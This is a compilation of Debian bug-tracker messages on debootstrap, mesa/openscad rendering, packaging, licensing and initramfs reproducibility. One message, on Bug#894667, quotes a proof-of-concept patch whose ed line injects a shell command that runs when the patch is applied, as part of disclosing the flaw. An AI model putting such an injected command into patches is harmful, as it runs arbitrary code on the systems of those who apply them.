When running debootstrap inside a Docker container, debootstrap umount both 
/proc and $TARGET/proc.

  How do I check it?

  - run docker
  - get debootstrap 1.0.110 and install it
  - debootstrap sid sid
  - /proc is there inside docker as below


Did you use a privileged container? /proc can't be unmounted in a 
regular non-privileged container.


I just tried and "/proc" is unmounted:
$ docker run --privileged --rm -t -i debian:stretch-backports bash
$ apt-get update && apt-get install -y -t stretch-backports debootstrap
$ debootstrap stretch chroot
$ ls /proc # it is empty

I also tried the debootstrap version in sid:
$ docker run --privileged --rm -t -i debian:sid bash
$ apt-get update && apt-get install -y debootstrap
$ debootstrap sid chroot
$ ls /proc # it is empty

Also please see the MRs:
https://salsa.debian.org/installer-team/debootstrap/-/merge_requests/26
https://salsa.debian.org/installer-team/debootstrap/-/merge_requests/27
https://salsa.debian.org/installer-team/debootstrap/-/merge_requests/30

I'm not sure which approach is the best, but Eicke did a short analysis:
https://salsa.debian.org/installer-team/debootstrap/-/merge_requests/26#note_171042


root@b49ab8b7f3eb:~# ls /proc/
1  crypto   iomemkpageflagspartitions   sysrq-trigger
19486  devices  ioports  loadavg   pressure sysvipc
acpi   diskstatsirq  locks sched_debug  thread-self
asound dma  kallsyms meminfo   schedstattimer_list
buddyinfo  driver   kcoremisc  self tty
busexecdomains  key-usersmodules   slabinfo uptime
cgroupsfb   keys mountssoftirqs version
cmdlinefilesystems  kmsg mtrr  stat vmallocinfo
consoles   fs   kpagecgroup  net   swapsvmstat
cpuinfointerrupts   kpagecount   pagetypeinfo  sys  zoneinfo


---

- Kristian Klausen

Bug#960153: ca-certificates-java: Failed to install ca-certificates-java on Beagle Bone Black

[Kristian Nygaard Jensen]

Package: ca-certificates-java
Version: 20190405
Severity: grave
Justification: renders package unusable

Dear Maintainer,

*** Reporter, please consider answering these questions, where appropriate ***

   * I tried to install ca-certificates-java
   * apt get install -y ca-certificates-java
   * I got this error:
 Could not load hsdis-arm.so; library not loadable; PrintAssembly is 
disabled

 installed ca-certificates-java package post-installation script subprocess 
returned error exit status 134

 full apt log can be found here:

 https://ipfs.io/ipfs/QmYyixmCD9VAugY1zLf88UibjXPnyq9mRmDok1sFkSNEjC

 The referenced log hs_err_pid1975.log can be found here:

 https://ipfs.io/ipfs/QmURBmFwFVF3Jo9iqCjCdAgHvoBaUdRD4QfptXjBeprcgW


   * I expected the package ca-certificates-java to be installed

*** End of the template - remove these template lines ***


-- System Information:
Debian Release: 10.4
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: armhf (armv7l)

Kernel: Linux 4.19.0-9-armmp (SMP w/1 CPU core)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages ca-certificates-java depends on:
ii  ca-certificates   20190110
ii  default-jre-headless [java8-runtime-headless] 2:1.11-71
ii  libnss3   2:3.42.1-1+deb10u2
ii  openjdk-11-jre-headless [java8-runtime-headless]  11.0.7+10-3~deb10u1

ca-certificates-java recommends no packages.

ca-certificates-java suggests no packages.

-- no debconf information

Bug#947196: "BadMatch" error on X_ShmPutImage when using GLX_ALPHA_SIZE

[Kristian Nielsen]

This patch to openscad works around the problem:

  
https://salsa.debian.org/knielsen-guest/openscad/commit/7225800b534a36e5ad84c56c274889b8d0edc0ce

It uses Xrender to query visuals returned from glXChooseFBConfig(), and
filter out those with alphaMask=0.

With this patch, all openscad tests are passing with mesa 19.3.1-2.

However, I'm unsure if this is the correct approach? It does not seem right
that querying Xrender would be required just to specify GLX_ALPHA_SIZE to
glXChooseFBConfig(). Maybe there is a simpler fix for openscad, or possibly
this is a bug in mesa that should be fixed?

 - Kristian.

commit 7225800b534a36e5ad84c56c274889b8d0edc0ce (HEAD -> newstuffs, salsa/newstuffs)
Author: Kristian Nielsen 
Date:   Tue Dec 24 11:05:45 2019 +0100

Add a patch to work-around test failures against latest mesa

diff --git a/debian/changelog b/debian/changelog
index 9ca95cd5..7fe6f8ad 100644
--- a/debian/changelog
+++ b/debian/changelog
@@ -2,8 +2,9 @@ openscad (2019.05-4) unstable; urgency=medium
 
   * Make openscad-testrun default to run tests in parallel.
   * Limit --parallel build based on available memory (Closes: #945162)
+  * Work-around "BadMatch" error with mesa >= 19.3 (Closes: 947196)
 
- -- Kristian Nielsen   Sat, 07 Dec 2019 11:12:30 +0100
+ -- Kristian Nielsen   Tue, 24 Dec 2019 10:29:22 +0100
 
 openscad (2019.05-3) unstable; urgency=medium
 
diff --git a/debian/control b/debian/control
index b8299716..96ab274e 100644
--- a/debian/control
+++ b/debian/control
@@ -27,6 +27,7 @@ Build-Depends:
 # workaround for https://github.com/openscad/openscad/issues/1543
 libqt5opengl5-dev,
 libglew-dev (>= 1.5.4) | libglew1.6-dev | libglew1.5-dev (>= 1.5.4),
+libxrender-dev,
 libgmp-dev | libgmp10-dev | libgmp3-dev,
 libmpfr-dev,
 python3:any,
diff --git a/debian/patches/Prefer-FBConfig-with-alpha-support-for-GLX-off-screen-con.patch b/debian/patches/Prefer-FBConfig-with-alpha-support-for-GLX-off-screen-con.patch
new file mode 100644
index ..1364dcba
--- /dev/null
+++ b/debian/patches/Prefer-FBConfig-with-alpha-support-for-GLX-off-screen-con.patch
@@ -0,0 +1,84 @@
+From: Kristian Nielsen 
+Date: Tue, 24 Dec 2019 10:22:05 +0100
+Subject: Prefer FBConfig with alpha support for GLX off-screen context
+
+This is to work-around a problem seen with mesa >= 19.3 (Debian
+bug#947196). When GLX_ALPHA_SIZE>0 is passed to glXChooseFBConfig(),
+the first configurations returned result in a BadMatch error in
+glXSwapBuffers(). Picking the first returned configuration with
+alphaMask > 0 (as reported by Xrender) avoids the failure.
+---
+ features/glew.prf  |  2 +-
+ src/OffscreenContextGLX.cc | 25 ++---
+ 2 files changed, 23 insertions(+), 4 deletions(-)
+
+diff --git a/features/glew.prf b/features/glew.prf
+index d4c83bd..1c3b4c4 100644
+--- a/features/glew.prf
 b/features/glew.prf
+@@ -7,7 +7,7 @@ GLEW_DIR = $$(GLEWDIR)
+   QMAKE_LIBDIR += $$GLEW_DIR/lib64
+ }
+ 
+-unix:LIBS += -lGLEW
++unix:LIBS += -lGLEW -lXrender
+ mingw-cross-env*: {
+{
+ CONFIG += link_pkgconfig
+diff --git a/src/OffscreenContextGLX.cc b/src/OffscreenContextGLX.cc
+index 1f29155..933c4c8 100644
+--- a/src/OffscreenContextGLX.cc
 b/src/OffscreenContextGLX.cc
+@@ -43,6 +43,7 @@ OffscreenContext.mm (Mac OSX version)
+ 
+ #include 
+ #include 
++#include 
+ 
+ #include 
+ #include 
+@@ -145,7 +146,25 @@ bool create_glx_dummy_window(OffscreenContext )
+ 		return false;
+ 	}
+ 
+-	auto visinfo = glXGetVisualFromFBConfig( dpy, fbconfigs[0] );
++	auto fbconfig = fbconfigs[0];
++	auto visinfo = glXGetVisualFromFBConfig( dpy, fbconfig );
++	// If Xrender is available, use it to prefer an fbconfig with alpha.
++	// This is to work-around a problem seen with mesa >= 19.3, where
++	// the configs without alpha-support cause a BadMatch failure in
++	// glXSwapBuffers() (Debian bug#947196).
++	int event_basep, error_basep;
++	if (XRenderQueryExtension(dpy, _basep, _basep)) {
++	  for (int i = 0; i < num_returned; i++) {
++	auto v = glXGetVisualFromFBConfig(dpy, fbconfigs[i]);
++	auto pf = XRenderFindVisualFormat(dpy, v->visual);
++	if (pf && pf->direct.alphaMask > 0) {
++	  visinfo = v;
++	  fbconfig = fbconfigs[i];
++	  break;
++	}
++	  }
++	}
++
+ 	if (visinfo == nullptr) {
+ 		std::cerr << "glXGetVisualFromFBConfig failed\n";
+ 		XFree(fbconfigs);
+@@ -183,7 +202,7 @@ bool create_glx_dummy_window(OffscreenContext )
+ 	// Most programs would call XMapWindow here. But we don't, to keep the window hidden
+ 	// XMapWindow( dpy, xWin );
+ 
+-	auto context = glXCreateNewContext(dpy, fbconfigs[0], GLX_RGBA_TYPE, nullptr, true);
++	auto context = glXCreateNewContext(dpy, fbconfig, GLX_RGBA_TYPE, nullptr, true);
+ 	if (context == nullptr) {
+ 		std::cerr << "glXCreateNewContext failed\n";
+ 		XDestroyWindow(dpy, xWin);
+@@ -192,7 +211,7 @@ bool create_glx_dummy_windo

Bug#947196: "BadMatch" error on X_ShmPutImage when using GLX_ALPHA_SIZE

[Kristian Nielsen]

I managed to reproduce without openscad, using a slightly modified glxgears
from mesa-demos:

---
--- glxgears.c.orig 2019-12-23 20:57:04.565366089 +0100
+++ glxgears.c  2019-12-23 20:57:53.933591974 +0100
@@ -503,6 +503,8 @@
attribs[i++] = 1;
attribs[i++] = GLX_BLUE_SIZE;
attribs[i++] = 1;
+   attribs[i++] = GLX_ALPHA_SIZE;
+   attribs[i++] = 1;
attribs[i++] = GLX_DEPTH_SIZE;
attribs[i++] = 1;
if (samples > 0) {
---

(Full source file attached for convenience).

With this, I can reproduce both with xvfb and against a running "real"
X-server (mesa-demos 8.4.0 and mesa 19.3.1-2):

$ gcc -o glxgears glxgears.c -lGL -lGLEW -lGLU -lGL -lGLU -lGL -lm -lX11 -lXext

$ xvfb-run ./glxgears
X Error of failed request:  BadMatch (invalid parameter attributes)
  Major opcode of failed request:  130 (MIT-SHM)
  Minor opcode of failed request:  3 (X_ShmPutImage)
  Serial number of failed request:  43
  Current serial number in output stream:  44

$ DISPLAY=:0 ./glxgears
libGL error: MESA-LOADER: failed to retrieve device information
libGL error: Version 4 or later of flush extension not found
libGL error: failed to load driver: i915
libGL error: failed to open /dev/dri/card0: No such file or directory
libGL error: failed to load driver: i965
X Error of failed request:  BadMatch (invalid parameter attributes)
  Major opcode of failed request:  72 (X_PutImage)
  Serial number of failed request:  54
  Current serial number in output stream:  56

So this suggests a problem with GLX_ALPHA_SIZE in some visuals. Though I'm
not familiar enough with GLX to be sure exactly what's going on...

Hope this helps,

 - Kristian.

/*
 * Copyright (C) 1999-2001  Brian Paul   All Rights Reserved.
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a
 * copy of this software and associated documentation files (the "Software"),
 * to deal in the Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute, sublicense,
 * and/or sell copies of the Software, and to permit persons to whom the
 * Software is furnished to do so, subject to the following conditions:
 * 
 * The above copyright notice and this permission notice shall be included
 * in all copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
 * BRIAN PAUL BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
 * AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
 * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

/*
 * This is a port of the infamous "gears" demo to straight GLX (i.e. no GLUT)
 * Port by Brian Paul  23 March 2001
 *
 * See usage() below for command line options.
 */


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#ifndef GLX_MESA_swap_control
#define GLX_MESA_swap_control 1
typedef int (*PFNGLXGETSWAPINTERVALMESAPROC)(void);
#endif


#define BENCHMARK

#ifdef BENCHMARK

/* XXX this probably isn't very portable */

#include 
#include 

/* return current time (in seconds) */
static double
current_time(void)
{
   struct timeval tv;
#ifdef __VMS
   (void) gettimeofday(, NULL );
#else
   struct timezone tz;
   (void) gettimeofday(, );
#endif
   return (double) tv.tv_sec + tv.tv_usec / 100.0;
}

#else /*BENCHMARK*/

/* dummy */
static double
current_time(void)
{
   /* update this function for other platforms! */
   static double t = 0.0;
   static int warn = 1;
   if (warn) {
  fprintf(stderr, "Warning: current_time() not implemented!!\n");
  warn = 0;
   }
   return t += 1.0;
}

#endif /*BENCHMARK*/



#ifndef M_PI
#define M_PI 3.14159265
#endif


/** Event handler results: */
#define NOP 0
#define EXIT 1
#define DRAW 2

static GLfloat view_rotx = 20.0, view_roty = 30.0, view_rotz = 0.0;
static GLint gear1, gear2, gear3;
static GLfloat angle = 0.0;

static GLboolean fullscreen = GL_FALSE;	/* Create a single fullscreen window */
static GLboolean stereo = GL_FALSE;	/* Enable stereo.  */
static GLint samples = 0;   /* Choose visual with at least N samples. */
static GLboolean animate = GL_TRUE;	/* Animation */
static GLfloat eyesep = 5.0;		/* Eye separation. */
static GLfloat fix_point = 40.0;	/* Fixation point distance.  */
static GLfloat left, right, asp;	/* Stereo frustum params.  */


/*
 *
 *  Draw a gear wheel.  You'll probably want to call this function when
 *  building a display list since we do a lot of trig here.
 * 
 *  Input:  inner_radius - radius of hole at center
 *  outer_radius - radius

Bug#947196: Acknowledgement (mesa: "BadMatch" error on X_ShmPutImage in 24bpp; breaks openscad testsuite)

[Kristian Nielsen]

Some additional data: The error occurs when openscad tries to run
glXSwapBuffers().

Here are the attributes requested from glXChooseFBConfig() and the list of
XVisualInfo returned:

  int attributes[] = {
GLX_DRAWABLE_TYPE, GLX_WINDOW_BIT | GLX_PIXMAP_BIT | GLX_PBUFFER_BIT,
GLX_RENDER_TYPE,   GLX_RGBA_BIT,
GLX_RED_SIZE, 8,
GLX_GREEN_SIZE, 8,
GLX_BLUE_SIZE, 8,
GLX_ALPHA_SIZE, 8,
GLX_DEPTH_SIZE, 24,
GLX_STENCIL_SIZE, 8,
GLX_DOUBLEBUFFER, true,
None
  };

  fbconfig  0, visual ID  0x33x: depth=24 class=4
  fbconfig  1, visual ID 0x379x: depth=24 class=4
  fbconfig  2, visual ID 0x381x: depth=24 class=4
  fbconfig  3, visual ID 0x385x: depth=24 class=4
  fbconfig  4, visual ID  0x34x: depth=24 class=5
  fbconfig  5, visual ID 0x420x: depth=24 class=5
  fbconfig  6, visual ID 0x422x: depth=24 class=5
  fbconfig  7, visual ID 0x426x: depth=24 class=5
  fbconfig  8, visual ID 0x382x: depth=24 class=4
  fbconfig  9, visual ID 0x386x: depth=24 class=4
  fbconfig 10, visual ID 0x423x: depth=24 class=5
  fbconfig 11, visual ID 0x427x: depth=24 class=5
  fbconfig 12, visual ID 0x243x: depth=32 class=4
  fbconfig 13, visual ID 0x457x: depth=32 class=4
  fbconfig 14, visual ID 0x459x: depth=32 class=4
  fbconfig 15, visual ID 0x460x: depth=32 class=4

The error occurs for all the visuals with XVisualInfo.depth=24 (0-11 in the
list). It does _not_ occur with visuals 12-15 having depth=32.

 - Kristian.

Bug#947196: mesa: "BadMatch" error on X_ShmPutImage in 24bpp; breaks openscad testsuite

[Kristian Nielsen]

Source: mesa
Version: mesa-19.3.1-2
Severity: important

Dear Maintainer,

Since upload to unstable of mesa 19.3.1-1/19.3.1-2, the openscad testsuite
breaks. This also shows up as a regression on
https://tracker.debian.org/pkg/mesa .

The root cause is the following failure to run openscad in a virtual
framebuffer. To reproduce:

  $ xvfb-run -s "-screen 0 800x600x24" openscad /dev/null -o /tmp/1.png
  Compiling design (CSG Products normalization)...
  X Error of failed request:  BadMatch (invalid parameter attributes)
Major opcode of failed request:  130 (MIT-SHM)
Minor opcode of failed request:  3 (X_ShmPutImage)
Serial number of failed request:  41
Current serial number in output stream:  42

(This requires that the packages "xvfb" and "openscad" are installed).
Interestingly, it does not fail when using 16 bpp:

  $ xvfb-run -s "-screen 0 800x600x16" openscad /dev/null -o /tmp/1.png
  Compiling design (CSG Products normalization)...
  $ ls -l /tmp/1.png 
  -rw-r--r-- 1 root root 1948 Dec 21 23:44 /tmp/1.png

At this point I do not know the root cause of the problem (I'm happy to
follow suggested directions for debugging this further). I'm providing here
what information I have currently in case this affects migration of mesa to
testing.

That mesa 19.3.1 is the cause of the regression is based on the regression
shown by debci after upload of 19.3.1-1. It is also suggested by the similar
problem reported here:
https://stackoverflow.com/questions/59323267/x-error-of-failed-request-badmatch-on-x-shmputimage-major-opcode-130-minor

Even assuming mesa 19.3.1-1 introduces the problem, it still needs to be
determined if this is a bug in mesa, or if it is incorrect usage from
openscad code. The smaller example in the stackoverflow link might help
determine this (it shows the similar symptoms).

I can work-around the openscad test failure/regression in debci by changing
it to use 16bpp in the virtual framebuffer; this makes the entire testsuite
pass. But it would be nice to understand the root cause of the issue, in
case this affects also other usage than virtual framebuffer device (eg.
normal interactive use on X server from unstable); hence the initial
"important" severity.

-- System Information:
Debian Release: bullseye/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.19.0-0.bpo.1-amd64 (SMP w/8 CPU cores)
Kernel taint flags: TAINT_WARN
Locale: LANG=C, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: unable to detect (systemd-nspawn from buster host)

Bug#947150: virtinst: virt-clone is unable to clone guest with disk on lvm volume, due to undeclared variable "need" in diskbackend.py in function is_size_conflict

[Kristian Kallenberg]

Package: virtinst
Version: 1:2.0.0-3
Severity: normal

Dear Maintainer,

I have upgraded virtinst from 1.4.0-5. Once done virt-clone fails with an error 
about an undeclared variable. This is happening in 
/usr/share/virt-manager/virtinst/diskbackend.py line 534. If i am cloning a 
guest with its disk on a LVM volume then the variable "need" is not set.

def is_size_conflict(self):
ret = False
msg = None
->  if self.get_dev_type() == "block":
avail = _stat_disk(self._path)[1]
else:
vfs = os.statvfs(os.path.dirname(self._path))
avail = vfs.f_frsize * vfs.f_bavail
need = int(self._size) * 1024 * 1024 * 1024
if need > avail:

...

I found this, but am not versed in python yet, sorry.

-- System Information:
Debian Release: 10.2
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.19.0-6-amd64 (SMP w/8 CPU cores)
Locale: LANG=da_DK.utf8, LC_CTYPE=da_DK.utf8 (charmap=UTF-8), 
LANGUAGE=da_DK.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages virtinst depends on:
ii  e2fsprogs 1.44.5-1+deb10u2
ii  genisoimage   9:1.1.11-3+b2
ii  gir1.2-libosinfo-1.0  1.2.0-1
ii  python3   3.7.3-1
ii  python3-distutils 3.7.3-1
ii  python3-gi3.30.4-1
ii  python3-libvirt   5.0.0-1
ii  python3-libxml2   2.9.4+dfsg1-7+b3
ii  python3-requests  2.21.0-1

Versions of packages virtinst recommends:
ii  qemu-utils   1:3.1+dfsg-8+deb10u3
ii  virt-viewer  7.0-2

virtinst suggests no packages.

-- no debconf information

Bug#945162: Build fails on some (Ubuntu) builders due to lack of memory

[Kristian Nielsen]

How about this? It uses --max-parallel to limit build to one process per 3
GB of memory:

  
https://salsa.debian.org/knielsen-guest/openscad/commit/3c64461f18762bbc2a1eebefe3c5f8880726791a

This should prevent builds failing due to out-of-memory on small machines,
and still allow most machines to benefit from the great speedup that
parallel build provides.

 - Kristian.

Bug#945162: Build fails on some (Ubuntu) builders due to lack of memory

[Kristian Nielsen]

Sebastien Bacher  writes:

> because it uses more memory than available. The attached patch makes it
> build with --no-parallel which workarounds the issue, what would you

Hm, this seems to be the wrong place to put this?

If a build machine has too little memory for a --parallel build of a
package, that is a property of the build machine, not of the package. So
better if the individual build machine sets DEB_BUILD_OPTIONS=parallel=1 or
similar. IIUC, this is how it is done in the Debian build infrastructure.

(A refinement could be if the build machine could set DEB_LOW_MEM_BUILDER or
something that could conditionally disable parallel build on heavy packages.
Such mechanism should be general across packages (not specific to openscad),
not sure if something like that is available).

The patch penalises _every_ build which is bad - building with -jN makes a
huge difference in compile time for openscad, and should work fine on
modern-sized machines.

Also, IIUC, the patch would disable parallel not just for the build but also
for the test run? That would again be bad, the testsuite also benefits
hugely from parallel build, and I do not think parallel test suite requires
a lot of memory.

 - Kristian.

Bug#941100: openscad FTCBFS: python3 build dependency not installable

[Kristian Nielsen]

Helmut Grohne  writes:

> openscad fails to cross build from source, because its python3
> dependency cannot be installed for the host architecture. It actually
> wants to run python3 during build, so it needs the build architecture
> python3. Thus it should be annotated :any. Please consider applying the
> attached patch.

Thanks Helmut. Applied here and will be in next upload:

  
https://salsa.debian.org/knielsen-guest/openscad/commit/655c17fdf2c32e3d76f3832351172e8704133599

 - Kristian.

Bug#933209: mark openscad-mcad Multi-Arch: foreign

[Kristian Nielsen]

On Sat, 27 Jul 2019 17:06:50 +0200 Helmut Grohne  wrote:

> openscad fails to cross build from source, because its build dependency
> on openscad-mcad is unsatisfiable. In general, Architecture: all

> files (textual). Please mark it Multi-Arch: foreign.

Thanks, Helmut, sounds good. I will prepare a new upload of openscad-mcad
shortly and include this fix (unless you want to NMU it before that).

(Just for reference, the reason for openscad's build-dependency on
openscad-mcad is because it is used in the test suite, which is run as part
of the build. However I assume (?) that a cross build will not run the test
suite and so the build-dependency is actually redundant in this case.
However using Multi-Arch: foreign as suggested seems to be a good solution.)

 - Kristian.

Bug#802898: General OpenSCAD limitation

[Kristian Nielsen]

I believe this is caused by a general limitation of OpenSCAD. When multiple
shapes are combined, the shapes must not share an edge or face exactly.
There is some explanation of this in the OpenSCAD manual:

  
https://en.wikibooks.org/wiki/OpenSCAD_User_Manual/STL_Import_and_Export#STL_Export

One work-around is to slightly increase or shift one of the objects, like
this:
---
--- leadscrew.scad.orig 2019-02-11 21:03:09.342731302 +0100
+++ leadscrew.scad  2019-02-11 21:05:54.583410574 +0100
@@ -13,14 +13,14 @@
}
}
}
-   linear_extrude(height=80,center=true,slices=1000)
+   linear_extrude(height=80+2,center=true,slices=1000)
{
union()
{
-   circle(r=5);
+   circle(r=5.01);
for(ang=[0:36:360])
{
-   rotate(a=ang)
+   rotate(a=ang+0.01)
{

polygon(points=[[0,0],[7,0],[8*cos(8),8*sin(8)],[7*cos(16),7*sin(16)]]);
}
---
This makes the problem go away in my tests.

As an aside the "slices=1000" is unnecessary in the second and third
linear_extrude since there is no twist. And adding "convexity=20" makes the
preview render better.

(And yes, this reply is probably several years too old to be of interest,
just putting it here for reference).

 - Kristian.

Bug#919356: Licensing of include/linux/hash.h

[Kristian Fiskerstrand]

On 1/23/19 9:50 AM, Domenico Andreoli wrote:
> Ben Finney  writes:
>> Domenico Andreoli  writes:
>>
>>>   the situation of dwarves-dfsg improved a lot over the weekend
>>
>> That's good to hear. What is the event you're referring to? Can you give
>> a URL to something that describes this change?
> 
> Upstream (in CC) reacted to my request of clarification and patches
> have been applied upstream and on Salsa. See bug 919356 [0] (please
> keep in CC).
> 
>>> the only knot left is now the license of hash.h
>>>
>>> This file is also present in the kernel [0] with an updated copyright
>>> but still without license.
>>
>> The file you show (in the Linux code base) seems likely to have an
>> equivalent implementation under a different license, from some other
>> code base.
> 
> This will require research and work unlikely to be done before Buster
> release. Are we going to drop this package for now?
> 
>>> I received a private email from somebody in the kernel community who
>>> already tried to contact Nadia in the past but did not get any reply.
>>
>> Thank you also for contacting the Linux developers forum to ask
>> https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1900588.html>.
> 
> (also in CC now)
> 
>>> I think that pushing it to non-free is formally the right thing but I
>>> actually feel it's not the right thing.
>>
>> To know that work (that file) is free software, we need a clear grant of
>> some specific license, for that work.
>>
>> If the work is not free, it would be incorrect to have the work in Debian.
> 
> Is it possible that for the kernel it is instead correct because it is,
> as whole, covered by its COPYING?
> 
>> Alternatives, for complying with the Debian Free Software Guidelines with
>> this package, include:
>>
>> * Find a credible grant of license under some GPL-compatible free
>>   license to that exact file. Document that explicit grant in the Debian
>>   package. This demonstrates the work is DFSG-free.
>>
>> * Convince ‘dwarves-dfsg’ upstream to replace that file with a different
>>   implementation (I don't know whether such an implementation exists)
>>   under a license compatible with the same version of GNU GPL. Document
>>   that explicit grant in the Debian package. This demonstrates the
>>   modified work is DFSG-free.
> 
> Arnaldo, what priority would you give to this task?
> 
>>
>> * Replace that file in Debian only, with a different implementation as
>>   above. Document that explicit grant in the Debian package. This
>>   demonstrates the modified Debian package is DFSG-free.
>>
>> * Move the work to the ‘non-free’ area.
>>
>> * Remove the work altogether.
>>
>> Those are in descending order of (my recommended) preference.
> 
> Thanks,
> Domenico
> 
> [0] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=919356
> 

It was [pointed out] by one of our license group that [hash.h]  is the
same that has a GPL-2+ in [fio] which has a signed-off-by.

References:
[pointed out]
https://bugs.gentoo.org/677586#c1

[hash.h]
https://git.kernel.org/pub/scm/linux/kernel/git/axboe/fio.git/commit/hash.h?id=bdc7211e190482f0c17c109a0d90834a6611be1c

[fio]
https://metadata.ftp-master.debian.org/changelogs/main/f/fio/fio_3.12-2_copyright



-- 
Kristian Fiskerstrand
OpenPGP keyblock reachable at hkp://pool.sks-keyservers.net
fpr:94CB AFDD 3034 5109 5618 35AA 0B7F 8B60 E3ED FAE3



signature.asc
Description: OpenPGP digital signature

Bug#921815: debootstrap umount "host" /proc when running in a Docker container

[Kristian Klausen]

I have opened a MR: 
https://salsa.debian.org/installer-team/debootstrap/merge_requests/26

Bug#919659: live-build: building in docker fails with mounting /proc unmount /sys [UPDATE]

[Kristian Klausen]

See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=921815 and 
https://salsa.debian.org/installer-team/debootstrap/merge_requests/26

Bug#921815: debootstrap umount "host" /proc when running in a Docker container

[Kristian Klausen]

Package: debootstrap
Version: 1.0.110~bpo9+1

Hi

When running debootstrap inside a Docker container, debootstrap umount both 
/proc and $TARGET/proc.
This is due to a missing check at:
https://salsa.debian.org/installer-team/debootstrap/blob/67a3c1c5f7ef44a6596f75b787289b3392c50759/scripts/debian-common#L104
Due to the missing check debootstrap umount "$TARGET/proc", which is a symlink 
to /proc [1].

I will open a MR shortly.

[1] 
https://salsa.debian.org/installer-team/debootstrap/blob/67a3c1c5f7ef44a6596f75b787289b3392c50759/scripts/debian-common#L68

- Kristian Klausen

Bug#894667: The patch is the exploit.

[Kristian Köhntopp]

The https://holeybeep.ninja/ website contains a patch 
https://holeybeep.ninja/beep.patch.

The patch contains a line starting with a !.

That’s the actual bug, and it’s in the patch program.

http://git.savannah.gnu.org/cgit/patch.git/tree/src/pch.c#n2383

--- /dev/null   2018-13-37 13:37:37.0 +0100
+++ b/beep.c2018-13-37 13:38:38.0 +0100
1337a
1,112d
!id>~/pwn.lol;beep # 13-21 12:53:21.0 +0100
.
  -- https://holeybeep.ninja/beep.patch

patch calls ed. Ed calls sh. Arbitrary command execution through unreviewed 
patches.

Does git call patch or implement patch-parsing by itself?

K

-- 
Kristian Köhntopp http://google.com/+KristianKohntopp

Bug#885455: live-boot: Please drop wget from initrd (busybox provides wget)

[Kristian Klausen]

> > Am Mittwoch, den 21.02.2018, 10:08 +0100 schrieb Raphael Hertzog:
> > Hello,
> >
> > On Wed, 27 Dec 2017, Benjamin Drung wrote:
> > > The wget binary depends on many libraries. On Debian 9 (stretch)
> > > these
> > > are: libffi6, libgnutls30, libhogweed4, libidn11, libidn2-0,
> > > libnettle6,
> > > libp11-kit0, libpsl5, libtasn1-6, libunistring0. In total 8
> > > megabytes.
> > > This increases the initramfs size a lot. To save space, use wget
> > > from
> > > busybox instead. Commit 4328832d0 that adds wget does not give a
> > > reason
> > > why busybox's wget is not used. A patch is tested and attached.
> >
> > The usual reason is for "https" support. Have you tried to use https
> > URLs in the various places where we can use URLs?
>
> Okay. I did some tests in a minimal schroot environment:
>
> (stretch)root@konstrukt:~# dpkg -s busybox | grep ^Version
> Version: 1:1.22.0-19+b3
> (stretch)root@konstrukt:~# busybox wget https://bugs.debian.org/
> wget: not an http or ftp url: https://bugs.debian.org/
>
> (buster)root@konstrukt:~# dpkg -s busybox | grep ^Version
> Version: 1:1.27.2-2
> (buster)root@konstrukt:~# busybox wget https://bugs.debian.org/
> Connecting to bugs.debian.org (209.87.16.39:443)
> Connecting to www.debian.org (5.153.231.4:443)
> index.html   100% |***| 18089   0:00:00 ETA
>
> So busybox in stretch does not support HTTPS, but it supports HTTPS in
> testing/unstable.

Busybox version of wget does not check the certificate at all, which defeat the 
purpose of https.
Tested with (on testing): busybox wget 'https://untrusted-root.badssl.com/' and 
busybox wget 'https://expired.badssl.com/'

- Kristian

Bug#845034: Updated patch

[Kristian Klausen]

Hello

Attached is a updated patch, which disable the ldconfig aux-cache 
(/var/cache/ldconfig/aux-cache), as it isn't reproducible (at least not 
on my system).

Can I in anyway help getting this merged?


- Kristian Klausen

diff --git a/debian/control b/debian/control
index cc7c32d..33c1185 100644
--- a/debian/control
+++ b/debian/control
@@ -25,7 +25,7 @@ Package: initramfs-tools-core
 Architecture: all
 Multi-Arch: foreign
 Recommends: ${busybox:Recommends}
-Depends: klibc-utils (>= 2.0.4-8~), cpio, kmod | module-init-tools, udev, ${misc:Depends}
+Depends: klibc-utils (>= 2.0.4-8~), cpio (>= 2.12), kmod | module-init-tools, udev, ${misc:Depends}
 Suggests: bash-completion
 Breaks: initramfs-tools (<< 0.121~), ${busybox:Breaks}
 Replaces: initramfs-tools (<< 0.121~)
diff --git a/mkinitramfs b/mkinitramfs
index 24715d5..fcdcb47 100755
--- a/mkinitramfs
+++ b/mkinitramfs
@@ -151,6 +151,7 @@ if dpkg --compare-versions "${version}" lt "2.6.38" 2>/dev/null; then
 		echo "linux-2.6 likely misses ${COMPRESS} support, using gzip"
 fi
 
+[ "${compress}" = gzip ] && [ -n "${SOURCE_DATE_EPOCH}" ] && compress="gzip -n"
 [ "${compress}" = lzop ] && compress="lzop -9"
 [ "${compress}" = xz ] && compress="xz --check=crc32"
 
